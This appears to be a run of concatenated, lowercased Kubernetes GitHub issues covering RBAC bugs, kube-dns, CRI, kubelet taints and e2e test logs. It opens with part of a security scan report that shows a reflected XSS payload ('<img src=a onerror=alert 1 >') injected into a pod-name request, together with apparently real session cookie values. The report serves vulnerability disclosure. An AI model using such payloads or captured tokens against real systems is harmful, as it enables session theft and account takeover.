vfxnlz0+jf3ilhg4ikwcxg3znmevi73ui+3bomqc1gtbjtbtlk7mkmyetivtkmdkm4l49+con79t58n9q cmvf+lwu6fr70kpqmzwr7h86jklot/mgpwhguv0x2t5ggyo6whinvaob3qm63kl4xi5ahx+kwep6 er5operu4hi/gytxfncrvnmjxtvco+08zzjsclpkncokpfecnr2o4few2z4okh5krsnu2yk77f1vdwwbws mh0tljo/ho6zh/e; cfc-acs-auth-\r cookie=f1cb51679d5f559617782162f1140f1b131967d659e5719f7cfeecdce02885d35559cf121a69a6 a5da6373ebd0d59bc1cedf02375b880fbc0e5f9b296ef1100be53902e6f4d32631d94b0db5153bf487b 1b44dab56230152350c654387b26b65c1be26182b73355df35c1747332ae6ce521e84ed8df17695a71 dfbbd3744a69f130677d94b1498ba16f6445df901af9b6633ac55edd641a47dc519a9c3fb6524750b3fd 3a2507cd7df75ba1e33f2b4587d8a6c50782ef1ef5d45f16c9d15ce90b8c67eb9400b3bee8479b26a26 6bacfa7cb02b6805f6aa48290ac338efa3950c6b828146efeb8ee323dce2219b8d4612ddcdf333c65360 dd9cc96e5bc07bf460e5c42678d02fa28f8fc2d5f56e31fe7a32f887fecc9431d8a873603029143f9cfab6 e193ef5c1fd12dbfafe9f0fdbc37da0d75c181f51e9b2a3d6af148864e78eca49b2b67b75bf320162a883 7c2e255a32c5e202b2d15a490178fe93811c8b07578519de65b435631d13be35c218f560bd82fe4730 9be92d1ecfce0e97d564b1fdf7eec4f264f87c2b67b9a1bb4d13a8c39b16f35150416662b04a856ad8d1 29817f5a64010d5c9c7c24bb5b1f4597d58d1b2a26c01bc288094801295876c5be22c71f2bcbb86b524 65f35e9c9080a24f2a84ab90d5ffcbd46f689e719755389c820f97b19a2401a0cd5892539b3e72a3fe77 4d2908929835a4ca4a9fd0c6e5; cfc-access-token-\r cookie=f1cb51679d5f559617782162f1140f1b131967d659e5719f7cfeecdce02885d35559cf121a69a6 a5da6373ebd0d59bc1cedf02375b880fbc0e5f9b296ef1100be53902e6f4d32631d94b0db5153bf487b 1b44dab56230152350c654387b26b65c1be26182b73355df35c1747332ae6ce521e84ed8df17695a71 dfbbd3744a69f130677d94b1498ba16f6445df901af9b6633ac55edd641a47dc519a9c3fb6524750b3fd 3a2507cd7df75ba1e33f2b4587d8a6c50782ef1ef5d45f16c9d15ce90b8c67eb9400b3bee8479b26a26 6bacfa7cb02b6805f6aa48290ac338efa3950c6b828146efeb8ee323dce2219b8d4612ddcdf333c65360 dd9cc96e5bc07bf460e5c42678d02fa28f8fc2d5f56e31fe7a32f887fecc9431d8a873603029143f9cfab6 e193ef5c1fd12dbfafe9f0fdbc37da0d75c181f51e9b2a3d6af148864e78eca49b2b67b75bf320162a883 7c2e255a32c5e202b2d15a490178fe93811c8b07578519de65b435631d13be35c218f560bd82fe4730 9be92d1ecfce0e97d564b1fdf7eec4f264f87c2b67b9a1bb4d13a8c39b16f35150416662b04a856ad8d1\r  29817f5a64010d5c9c7c24bb5b1f4597d58d1b2a26c01bc288094801295876c5be22c71f2bcbb86b524 65f35e9c9080a24f2a84ab90d5ffcbd46f689e719755389c820f97b19a2401a0cd5892539b3e72a3fe77 4d2908929835a4ca4a9fd0c6e5; toggles=%7b%7d\r connection: close\r \r   response  \r http/1.1 404 not found\r server: openresty/1.11.2.4\r date: wed, 26 sep 2018 16:00:07 gmt content-type: text/html; charset=utf-8 content-length: 687\r connection: close\r x-powered-by: express\r etag: w/\ 2af-89s1ff4mjes9h+usfcbfjzmazgo\ \r unexpected response code 404 from request:\r get https://management-ingress:8001/v1/namespaces/kube- system/pods/heapster-d5c99f75b-fj7jxium3i<img src=a onerror=alert 1 >z24qy http/1.1 authorization: bearer    \r http/1.1 404\r server: openresty/1.11.2.4\r date: wed, 26 sep 2018 16:00:07 gmt content-type: application/json content-length: 312\r connection: close\r \r    {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ pods \\\ helm-api- d5c99f75b-fj7jxium3i\\u003cimg src=a onerror=alert 1 \\u003ez24qy\\\  not found\ ,\ reason\ :\ notfound\ ,\ details\ :{\ name\ :\ helm-api-d5c99f75b-fj7jxium3i\\u003cimg src=a onerror=alert 1 \\u003ez24qy\ ,\ kind\ :\ pods\ },\ code\ :404}   \r \r   risk assessment  \r the attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials or performing arbitrary actions on the victim's behalf.\r   fix recommendation  \r perform sanitization on input strings. use an \ accept known good\  input validation strategy, whitelist\r of acceptable inputs that strictly conform to specifications. reject any input that does not strictly conform to specifications or transform it into something that does. user input should be html- encoded at any point where it is copied into application responses. all html metacharacters, including < > \  ' and =, should be replaced with the corresponding html entities  &lt; &gt; etc .

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : container metrics-server failed. error message in container log:\r request failed - \ 403 forbidden\ , response: \ forbidden  user=system:serviceaccount:kube-system:metrics-server, verb=get, resource=nodes, subresource=stats \ \r \r   what you expected to happen  : should succeed.\r \r   how to reproduce it  as minimally and precisely as possible   : kubectl apply -f 6 yaml files in https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/metrics-server\r  should edit metrics-server-deployment.yaml to fit environment first \r \r   anything else we need to know?  :\r to fix, just add nodes/stats resource in default resource-reader.yaml:\r    \r   resources:\r   - pods\r   - nodes\r   - nodes/stats\r   - namespaces\r    \r \r   environment  : \r - kubernetes version  use  kubectl version  : v1.13.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

as dns is so crucial to k8s, and i have seen failures due to resource starvation preventing kube-dns from starting, we should run kube-dns in an ha configuration.  i believe we should run it on a daemonset on every node.  it might be that the kube2sky -> etcd -> skydns setup is too resource intensive for this; if so we should probably make a controller that removes etcd and integrates kube2sky & skydns, now that this pattern is well-known & proven.  @thockin i thought you had some notes on how to do this but github search is failing me.  cc @ajohnstone

meta-issue for cri:  28789  for some features, kubelet checks if the underlying runtime supports such features and reject the pod if necessary. one example is the  sysctl  support. right now, kubelet simply checks if  1  the runtime is docker, and  2  if docker version is higher than the minimum requirement. with cri, checking runtime versions directly is no longer viable. one way to solve this is to ask runtime to expose a set of features it supports through cri. e.g., an  info  call can be added to cri to retrieve a list of supported features.   thoughts? objections?   /cc @kubernetes/sig-node @thockin   note: sysctl is still an experimental feature and relies on pod annotations in the k8s api. however, the pod admission logic is already live in kubelet.

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-kops-aws-updown/4818/  run so broken it didn't make junit output!

currently in the api there are a number of fields that correspond to a unix user id or group id which are typed as   int64 .  we also have, in  pkg/types/unix_user_id.go , typedefs for  unixuserid  and  unixgroupid , but these are unused.  i don't see any compatibility issues with migrating the api to use these types, and so we should.  if we do not plan to use the types, we should delete them.

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6+coreos.0\ , gitcommit:\ ec2b52fabadf824a42b66b6729fe4cff2c62af8c\ , gittreestate:\ clean\ , builddate:\ 2016-11-14t19:42:00z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6+coreos.0\ , gitcommit:\ ec2b52fabadf824a42b66b6729fe4cff2c62af8c\ , gittreestate:\ clean\ , builddate:\ 2016-11-14t19:42:00z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r \r libvirt vm\r -   os    e.g. from /etc/os-release :\r \r ubuntu 16.04 x64\r -   kernel    e.g.  uname -a  :\r \r linux node1 4.4.0-38-generic  57-ubuntu smp\r \r   what happened  :\r deletion of the namespace, which contains of the many deployments ~10 , which creating a lot of pods ~60  which are in the pulling or related imagepullbackoff, etc  state, takes a lot of time. like 10 times more than deletion of the same amount of pods which are already pulled.\r \r   what you expected to happen  :\r deletion of the namespace should be much faster, close to the deletion of namespace with already pulled pods.\r \r   how to reproduce it    as minimally and precisely as possible :\r make sure you have a big 1gb+  docker images. delete all local docker images from your nodes. create new namespace. create some deployments, which will create 50+ pods, and run  kubectl delete your_namespace  during the pods pulling.\r \r you can repeat same thing with already pulled pods and note that it will take significantly less time.

now, in cri we expose the network namespace in  podsandboxstatus , but kubelet is not using it.\r \r actually, now only network plugin needs the network namespace, but the network logic is moved down to runtime.\r \r there seems to be no reason to keep this field except for debugging\r \r @yujuhong @feiskyer \r @kubernetes/sig-node-api-reviews

bug report\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :  coreos / 1353.7.0\r -   kernel    e.g.  uname -a  : linux ip-10-20-14-132.eu-west-1.compute.internal 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r -   install tools  : cloud-config, custom build\r -   others  :\r \r   what happened  :\r i created a systemd unit to start the kubelet on my master hosts with these options...\r \r ~~~\r  unit \r description=kubernetes kubelet\r requires=docker.service\r \r  service \r execstart=/usr/bin/docker run --rm \\\r  --name kubelet \\\r  --volume=/:/rootfs:ro \\\r  --volume=/sys:/sys:ro \\\r  --volume=/dev:/dev \\\r  --volume=/var/lib/docker/:/var/lib/docker:rw \\\r  --volume=/var/lib/kubelet/:/var/lib/kubelet:shared \\\r  --volume=/etc:/etc:rw \\\r  --volume=/var/run:/var/run:rw \\\r  --net=host --pid=host --privileged=true \\\r  gcr.io/google_containers/hyperkube:v1.6.2 \\\r  /hyperkube kubelet \\\r   --node-labels=\ type=controller\  \\\r   --register-with-taints=node-role.kubernetes.io/master=true:noschedule \\\r   --hostname-override=10.20.14.132 \\\r   --register-node=true \\\r   --containerized \\\r   --pod-manifest-path=/etc/kubernetes/manifests \\\r   --allow-privileged=true \\\r   --network-plugin=cni \\\r   --cni-conf-dir=/etc/cni/net.d \\\r   --cni-bin-dir=/opt/cni/bin \\\r   --cluster-dns=192.168.0.10 \\\r   --cluster-domain=cluster.local \\\r   --v=4 \\\r   --require-kubeconfig=true \\\r   --kubeconfig=/etc/kubernetes/node-kubeconfig.yaml \\\r   --tls-cert-file=/etc/kubernetes/ssl/kubelet.pem \\\r   --tls-private-key-file=/etc/kubernetes/ssl/kubelet-key.pem \\\r   --volume-plugin-dir=/etc/kubernetes/vol-plugins \\\r   --cloud-config=/etc/kubernetes/cloud_config \\\r   --cloud-provider=aws\r timeoutstartsec=900s\r restart=always\r restartsec=10s\r  install \r wantedby=multi-user.target\r ~~~\r \r i'm expecting the node to automatically register  --register-node=true  with a taint  --register-with-taints=node-role.kubernetes.io/master=true:noschedule  but when i examine my master node i can't see a taint and non system pods are being scheduled to it.\r \r ~~~\r $ kubectl describe node ip-10-20-14-132.eu-west-1.compute.internal\r name:\t\t\tip-10-20-14-132.eu-west-1.compute.internal\r role:\t\t\t\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/instance-type=t2.large\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tfailure-domain.beta.kubernetes.io/region=eu-west-1\r \t\t\tfailure-domain.beta.kubernetes.io/zone=eu-west-1c\r \t\t\tkubernetes.io/hostname=10.20.14.132\r \t\t\ttype=controller\r annotations:\t\tflannel.alpha.coreos.com/backend-data={\ vtepmac\ :\ 7e:40:99:f7:7a:01\ }\r \t\t\tflannel.alpha.coreos.com/backend-type=vxlan\r \t\t\tflannel.alpha.coreos.com/kube-subnet-manager=true\r \t\t\tflannel.alpha.coreos.com/public-ip=10.20.14.132\r \t\t\tnode.alpha.kubernetes.io/ttl=0\r \t\t\tvolumes.kubernetes.io/controller-managed-attach-detach=true\r taints:\t\t\t<none>\r creationtimestamp:\tthu, 04 may 2017 08:43:10 +0000\r ~~~\r \r   what you expected to happen  :\r \r the master should be registered with the taint: node-role.kubernetes.io/master=true:noschedule\r \r   how to reproduce it    as minimally and precisely as possible :\r create a kubelet process using the service above, observe if it gets tainted.\r \r   anything else we need to know  :\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial-release-1-7/38\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:109\r expected error:\r     < errors.errorstring | 0xc4213ad2f0>: {\r         s: \ 1 / 31 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                       node                            phase   grace conditions\ kube-dns-2673147055-s94g9 bootstrap-e2e-minion-group-vlfb running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:05 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:25 +0000 utc containersnotready containers with unready status:  kubedns dnsmasq } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:05 +0000 utc  } \ \ ,\r     }\r     1 / 31 pods in namespace \ kube-system\  are not in running and ready state in 5m0s\r     pod                       node                            phase   grace conditions\r     kube-dns-2673147055-s94g9 bootstrap-e2e-minion-group-vlfb running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:05 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:25 +0000 utc containersnotready containers with unready status:  kubedns dnsmasq } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:05 +0000 utc  } \r     \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:99\r    \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:109\r expected error:\r     < errors.errorstring | 0xc420130e30>: {\r         s: \ 1 / 31 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                       node                            phase   grace conditions\ kube-dns-2673147055-s94g9 bootstrap-e2e-minion-group-vlfb running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:05 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:25 +0000 utc containersnotready containers with unready status:  kubedns } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:05 +0000 utc  } \ \ ,\r     }\r     1 / 31 pods in namespace \ kube-system\  are not in running and ready state in 5m0s\r     pod                       node                            phase   grace conditions\r     kube-dns-2673147055-s94g9 bootstrap-e2e-minion-group-vlfb running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:05 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:25 +0000 utc containersnotready containers with unready status:  kubedns } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-14 10:52:05 +0000 utc  } \r     \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:99\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what you expected to happen  :\r support gpu reserved for each user/namespace, for example, if we can reserve 2 gpus for each user, the user can use 2 gpus at any time without pending or waiting for the gpu resources to free.\r \r

is this a bug report or feature request?  :\r  \r \r   what happened  :\r \r this log seems to imply that we wait until less than some number of pods are un-ready, and yet the loop  succeeds if there is no improvement.\r \r    \r i1115 10:11:09.929  nov 15 10:11:09.928: info: the status of pod fluentd-gcp-v2.0.10-6zb2l is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.929  nov 15 10:11:09.929: info: the status of pod fluentd-gcp-v2.0.10-9x4l7 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.929  nov 15 10:11:09.929: info: the status of pod fluentd-gcp-v2.0.10-bcjv8 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.929  nov 15 10:11:09.929: info: the status of pod fluentd-gcp-v2.0.10-bfgq8 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.930  nov 15 10:11:09.929: info: the status of pod fluentd-gcp-v2.0.10-bpr5c is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.930  nov 15 10:11:09.929: info: the status of pod fluentd-gcp-v2.0.10-c27s6 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.930  nov 15 10:11:09.929: info: the status of pod fluentd-gcp-v2.0.10-c76jk is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.930  nov 15 10:11:09.929: info: the status of pod fluentd-gcp-v2.0.10-h4b7v is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.930  nov 15 10:11:09.929: info: the status of pod fluentd-gcp-v2.0.10-hgkgh is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.930  nov 15 10:11:09.930: info: the status of pod fluentd-gcp-v2.0.10-l2lt7 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.931  nov 15 10:11:09.930: info: the status of pod fluentd-gcp-v2.0.10-nsj4g is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.931  nov 15 10:11:09.930: info: the status of pod fluentd-gcp-v2.0.10-rblv2 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.931  nov 15 10:11:09.930: info: the status of pod fluentd-gcp-v2.0.10-s8wrb is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.931  nov 15 10:11:09.931: info: the status of pod fluentd-gcp-v2.0.10-zkwks is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.937  nov 15 10:11:09.936: info: the status of pod metrics-server-v0.2.0-79ffc98b64-l5f8x is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:09.937  nov 15 10:11:09.936: info: 15313 / 15328 pods in namespace 'kube-system' are running and ready  601 seconds elapsed \r i1115 10:11:09.937  nov 15 10:11:09.936: info: expected 318 pod replicas in namespace 'kube-system', 317 are running and ready.\r i1115 10:11:09.937  nov 15 10:11:09.936: info: pod                                     node                                   phase    grace  conditions\r i1115 10:11:09.937  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-6zb2l               gce-scale-cluster-minion-group-3-t6vk  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:43:10 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:10:08 +0000 utc containersnotready containers with unready status:  prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:43:21 +0000 utc  } \r i1115 10:11:09.938  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-9x4l7               gce-scale-cluster-minion-group-4-13mb  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:20 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:55:48 +0000 utc containersnotready containers with unready status:  prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:21 +0000 utc  } \r i1115 10:11:09.938  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-bcjv8               gce-scale-cluster-minion-group-4w7g    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:58:12 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:01 +0000 utc  } \r i1115 10:11:09.938  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-bfgq8               gce-scale-cluster-minion-group-bgb9    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:58:16 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:02 +0000 utc  } \r i1115 10:11:09.938  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-bpr5c               gce-scale-cluster-minion-group-xbhf    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:32 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:56:50 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:42 +0000 utc  } \r i1115 10:11:09.938  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-c27s6               gce-scale-cluster-minion-group-s9px    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:58:01 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:02 +0000 utc  } \r i1115 10:11:09.939  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-c76jk               gce-scale-cluster-minion-group-fvnk    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:31 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:56:39 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:40 +0000 utc  } \r i1115 10:11:09.939  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-h4b7v               gce-scale-cluster-minion-group-h7ww    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:57:57 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:01 +0000 utc  } \r i1115 10:11:09.939  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-hgkgh               gce-scale-cluster-minion-group-4-h0nq  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:57:54 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:02 +0000 utc  } \r i1115 10:11:09.939  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-l2lt7               gce-scale-cluster-minion-group-4-vrwh  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:40 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:56:00 +0000 utc containersnotready containers with unready status:  prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:41 +0000 utc  } \r i1115 10:11:09.940  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-nsj4g               gce-scale-cluster-minion-group-2-pmqj  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:41:57 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:08:51 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:42:12 +0000 utc  } \r i1115 10:11:09.940  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-rblv2               gce-scale-cluster-minion-group-lgjk    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:12 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:59:28 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:22 +0000 utc  } \r i1115 10:11:09.940  nov 15 10:11:09.936: info: fluentd-gcp-v2.0.10-s8wrb               gce-scale-cluster-minion-group-1-wjwx  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:42:12 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:09:44 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:42:24 +0000 utc  } \r i1115 10:11:09.940  nov 15 10:11:09.937: info: fluentd-gcp-v2.0.10-zkwks               gce-scale-cluster-minion-group-np9m    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:13 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:59:27 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:21 +0000 utc  } \r i1115 10:11:09.940  nov 15 10:11:09.937: info: metrics-server-v0.2.0-79ffc98b64-l5f8x                                         pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:41:35 +0000 utc unschedulable 0/5001 nodes are available: 1 nodeunschedulable, 290 insufficient cpu, 5000 insufficient memory.} \r i1115 10:11:09.940  nov 15 10:11:09.937: info: \r i1115 10:11:15.899  nov 15 10:11:15.899: info: the status of pod fluentd-gcp-v2.0.10-6zb2l is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.900  nov 15 10:11:15.899: info: the status of pod fluentd-gcp-v2.0.10-9x4l7 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.900  nov 15 10:11:15.899: info: the status of pod fluentd-gcp-v2.0.10-bcjv8 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.900  nov 15 10:11:15.899: info: the status of pod fluentd-gcp-v2.0.10-bfgq8 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.900  nov 15 10:11:15.899: info: the status of pod fluentd-gcp-v2.0.10-bpr5c is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.900  nov 15 10:11:15.899: info: the status of pod fluentd-gcp-v2.0.10-c27s6 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.901  nov 15 10:11:15.899: info: the status of pod fluentd-gcp-v2.0.10-c76jk is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.901  nov 15 10:11:15.900: info: the status of pod fluentd-gcp-v2.0.10-gpdqj is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.901  nov 15 10:11:15.900: info: the status of pod fluentd-gcp-v2.0.10-h4b7v is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.901  nov 15 10:11:15.900: info: the status of pod fluentd-gcp-v2.0.10-hgkgh is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.901  nov 15 10:11:15.900: info: the status of pod fluentd-gcp-v2.0.10-l2lt7 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.901  nov 15 10:11:15.900: info: the status of pod fluentd-gcp-v2.0.10-nsj4g is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.901  nov 15 10:11:15.901: info: the status of pod fluentd-gcp-v2.0.10-rblv2 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.902  nov 15 10:11:15.901: info: the status of pod fluentd-gcp-v2.0.10-s8wrb is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.902  nov 15 10:11:15.901: info: the status of pod fluentd-gcp-v2.0.10-zkwks is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.907  nov 15 10:11:15.907: info: the status of pod metrics-server-v0.2.0-79ffc98b64-l5f8x is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:15.907  nov 15 10:11:15.907: info: 15312 / 15328 pods in namespace 'kube-system' are running and ready  607 seconds elapsed \r i1115 10:11:15.907  nov 15 10:11:15.907: info: expected 318 pod replicas in namespace 'kube-system', 317 are running and ready.\r i1115 10:11:15.907  nov 15 10:11:15.907: info: pod                                     node                                   phase    grace  conditions\r i1115 10:11:15.908  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-6zb2l               gce-scale-cluster-minion-group-3-t6vk  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:43:10 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 